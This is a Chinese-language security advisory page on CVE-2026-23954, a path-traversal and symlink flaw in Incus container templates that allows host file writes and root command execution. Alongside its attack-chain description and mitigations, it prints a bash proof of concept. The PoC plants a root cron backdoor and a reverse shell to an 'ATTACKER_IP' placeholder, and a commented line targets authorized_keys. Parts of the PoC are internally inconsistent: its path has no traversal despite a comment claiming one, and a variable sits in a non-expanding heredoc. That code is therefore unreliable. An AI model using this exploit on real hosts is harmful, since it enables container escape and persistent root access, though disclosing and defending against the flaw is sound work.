IPBUF安全漏洞报告
English
CVE-2026-23954 CVSS 8.7 高危

CVE-2026-23954: Incus容器管理器目录遍历漏洞导致任意命令执行

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23954
漏洞类型
路径遍历 / 符号链接攻击 / 容器逃逸 / 任意文件读写
CVSS评分
8.7 高危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus (系统容器和虚拟机管理器), IncusOS

相关标签

CVE-2026-23954IncusLXC容器逃逸路径遍历符号链接攻击任意文件读写任意命令执行高危漏洞系统容器

漏洞概述

CVE-2026-23954是Incus容器和虚拟机管理器中的一个高危安全漏洞,CVSS评分高达8.7。该漏洞影响Incus 6.21.0及以下版本,允许具有启动容器权限的用户(如incus组成员)利用模板功能中的目录遍历或符号链接漏洞,实现主机任意文件读写访问,最终获得主机上的任意命令执行权限。漏洞的核心问题在于当使用包含模板的metadata.yaml镜像时,系统未对源路径和目标路径进行符号链接或目录遍历的安全检查。攻击者可以通过构造恶意镜像或利用现有镜像的模板配置,绕过容器隔离边界,访问宿主机文件系统中的敏感文件,甚至写入恶意内容实现远程代码执行。此漏洞同样影响基于Incus构建的IncusOS系统。官方计划在6.0.6和6.21.1版本中修复此问题,但在修复发布前,所有使用受影响版本的用户都面临严重安全风险。

技术细节

该漏洞存在于Incus的模板处理功能中,具体位于LXC驱动程序的driver_lxc.go文件(第7215行和第7294行附近)。漏洞原理如下:

1. **漏洞位置**:当Incus处理镜像中的metadata.yaml模板配置时,会根据模板定义读取源文件并写入目标路径。代码在处理这两个路径时未进行充分的安全验证。

2. **路径遍历漏洞**:攻击者可以在源路径或目标路径中使用../等目录遍历序列,突破预期的目录边界。例如,目标路径设置为../../etc/cron.d/malicious可向系统关键目录写入文件。

3. **符号链接利用**:代码未检查路径中是否存在符号链接,攻击者可创建符号链接指向宿主机上的任意文件,然后通过模板功能读取其内容或覆盖其内容。

4. **利用场景**:攻击者首先创建一个包含恶意模板配置的镜像,镜像的metadata.yaml中定义了利用目录遍历或符号链接的模板项。当Incus处理该镜像启动容器时,模板功能会被触发,执行非授权的文件操作。

5. **权限要求**:攻击者只需具有incus组 membership,即能够启动自定义镜像的权限,无需root权限即可实施攻击。

6. **影响后果**:通过任意文件读取可获取SSH密钥、配置文件、凭据等敏感信息;通过任意文件写入可修改cron任务、SSH authorized_keys、sudoers配置等,最终实现以root权限在宿主机执行任意命令。

攻击链分析

STEP 1
步骤1: 获取Incus访问权限
攻击者获得incus组的成员资格,具备启动容器的能力
STEP 2
步骤2: 准备恶意镜像
创建一个包含恶意metadata.yaml的镜像,配置模板使用目录遍历路径(如../../etc/cron.d/)或符号链接指向宿主机敏感文件
STEP 3
步骤3: 导入恶意镜像
使用incus image import命令将恶意镜像导入到Incus系统
STEP 4
步骤4: 启动容器触发模板处理
执行incus launch启动容器,Incus处理镜像模板时未验证路径安全性
STEP 5
步骤5: 任意文件读取(可选)
通过模板功能读取宿主机上的敏感文件,如SSH密钥、配置文件、数据库凭据等
STEP 6
步骤6: 任意文件写入
利用目录遍历或符号链接向宿主机关键目录写入文件,如cron任务、SSH authorized_keys、systemd服务等
STEP 7
步骤7: 获得主机命令执行权限
通过写入的计划任务或SSH密钥等方式,攻击者获得宿主机root权限的远程代码执行能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-23954 PoC - Incus Template Arbitrary File Write # Requirements: User must be member of 'incus' group INCUS_IMAGE="malicious-template-image" CONTAINER_NAME="poc-container" # Step 1: Create a malicious template that writes to host filesystem cat > metadata.yaml << 'EOF' architecture: "$(uname -m)" creation_date: 1706000000 properties: architecture: "amd64" os: "Ubuntu" release: "jammy" templates: /etc/cron.d/backdoor: when: - create - start template: backdoor.template EOF # Step 2: Create malicious template content cat > backdoor.template << 'EOF' * * * * * root /bin/bash /tmp/shell.sh EOF # Step 3: Create malicious shell script to be written to host cat > shell.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 EOF # Step 4: Import image with malicious template incus image import metadata.yaml rootfs.squashfs --alias $INCUS_IMAGE # Step 5: Launch container - template will write to host via path traversal # The template path /etc/cron.d/backdoor with path traversal ../ becomes /cron.d/backdoor on host incus launch $INCUS_IMAGE $CONTAINER_NAME # Alternative exploitation using symbolic links: # Create a symlink in the template that points outside container # ln -s /root/.ssh/authorized_keys /var/lib/incus/storage-pools/default/images/timestamp/rootfs/etc/cron.d/malicious # Cleanup incus delete $CONTAINER_NAME --force incus image delete $INCUS_IMAGE

影响范围

Incus < 6.0.6
Incus 6.0.6 (未发布修复)
Incus < 6.21.0
Incus 6.21.0 (未修复)
IncusOS (所有受影响版本)

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 严格限制incus组的成员资格,仅授予必要信任的用户;2) 禁止用户导入来源不明的镜像,对所有镜像进行安全签名验证;3) 启用Incus的审计日志,监控模板相关的操作;4) 考虑暂时禁用容器的模板功能;5) 加强对/var/lib/incus等关键目录的监控,检测异常文件修改行为;6) 在容器与宿主机之间实施网络隔离策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表